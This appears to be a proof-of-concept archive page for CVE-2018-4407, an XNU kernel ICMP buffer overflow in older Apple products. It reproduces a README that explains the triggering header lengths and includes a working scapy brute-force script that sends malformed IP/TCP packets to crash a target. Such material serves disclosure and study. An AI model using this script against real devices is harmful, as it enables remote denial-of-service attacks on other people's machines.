Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-4407 PoC — 多款Apple产品 Kernel 缓冲区错误漏洞

Source
Associated Vulnerability
Title:多款Apple产品 Kernel 缓冲区错误漏洞 (CVE-2018-4407)
Description:A memory corruption issue was addressed with improved validation. This issue affected versions prior to iOS 12, macOS Mojave 10.14, tvOS 12, watchOS 5.
Description
A buffer overflow vulnerability in the XNU kernel's ICMP error code causes IOS devices to crash (laptops and mobiles).
Readme
# CVE-2018-4407

CVE-2018-4407 is a buffer overflow vulnerability in the XNU kernel's ICMP error code. It causes IOS
devices to crash (both laptops and mobiles) upon receival of one (yes 1!) single bad packet.

The bug was originally disclosured by Kevin Backhouse on his 
[lgtm blogpost](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407?__hstc=70225743.c14ec128e27e741847669a8911ba1349.1541100129351.1541102908486.1541229372799.3&__hssc=70225743.1.1541229372799&__hsfp=3267467660)
on October 30th 2018.

The code in this repo is a proof of concept of the CVE-2018-4407 exploit implemented in python, using scapy and nmap.


## Debugging

Some steps of my debugging process. A look in the XNU kernel code leads to the numbers for `iphlen` and `tcphlen`
that may trigger the buffer overflow.
As Backhouse said we must have `icmplen > 84` and it appears we should get into the code branch
`if(oip->ip_p == IPPROTO_TCP)` to achieve that. A TCP packet would trigger this vulnerability. 

![alt text](https://github.com/lucagiovagnoli/CVE-2018-4407/blob/master/XNU_kernel_diff.png)

### IPv4 header format [[RFC 791](https://tools.ietf.org/html/rfc791)]

An IPv4 header goes from a minimum of 20 bytes up to 36 bytes (depending on options).
- `IHL`: is the IP header length, including options. It also indicates where the payload starts.
- `Total Length`: would be the total length of the IP packet (including IP header and TCP payload).

```
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |Version|  IHL  |Type of Service|          Total Length         |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |         Identification        |Flags|      Fragment Offset    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |  Time to Live |    Protocol   |         Header Checksum       | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 12  |                       Source Address                          | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |                    Destination Address                        | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 16B)        |    Padding    | 
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

### TCP header format [[RFC 793](https://tools.ietf.org/html/rfc793#page-15)]

A TCP header goes from a minimum of 20 bytes to 60 bytes (options can be up to 40 bytes).
- `Data offset`: indicates where the data starts and can be also seen as the header length.

```
      0               1               2               3
      0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  0  |          Source Port          |       Destination Port        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  4  |                        Sequence Number                        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  8  |                    Acknowledgment Number                      |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     |  Data |           |U|A|P|R|S|F|                               |
 12  | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
     |       |           |G|K|H|T|N|N|                               |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 16  |           Checksum            |         Urgent Pointer        |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 20  |                    Options (up to 40B)        |    Padding    |
     +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

## Bruteforce approach
It is not necessary to go so deep into the XNU code. A simple scapy script, that manually tries various 
header lengths, can be used too:
```python
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>

for ip_opt_len in range(0, 60):
    for tcp_opt_len in range (0, 60):
        iphlen = ip_opt_len + MIN_IPHLEN
        tcphlen = tcp_opt_len + MIN_TCPHLEN
        total_ip_len = tcphlen + iphlen
        
        send(IP(
            ihl=iphlen/4,
            len=total_ip_len,
            dst=DST_IP,
            options=IPOption("a" * ip_opt_len)
        )/TCP(
            dataofs=15,
            options = [("NOP", None)] * tcp_opt_len
        ))
```





File Snapshot

[4.0K] /data/pocs/a3310c551d2c9e040f0a89dd4921297a330cb85b ├── [ 845] CVE-2018-4407_exploit.py ├── [4.5K] README.md └── [1.2M] XNU_kernel_diff.png 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →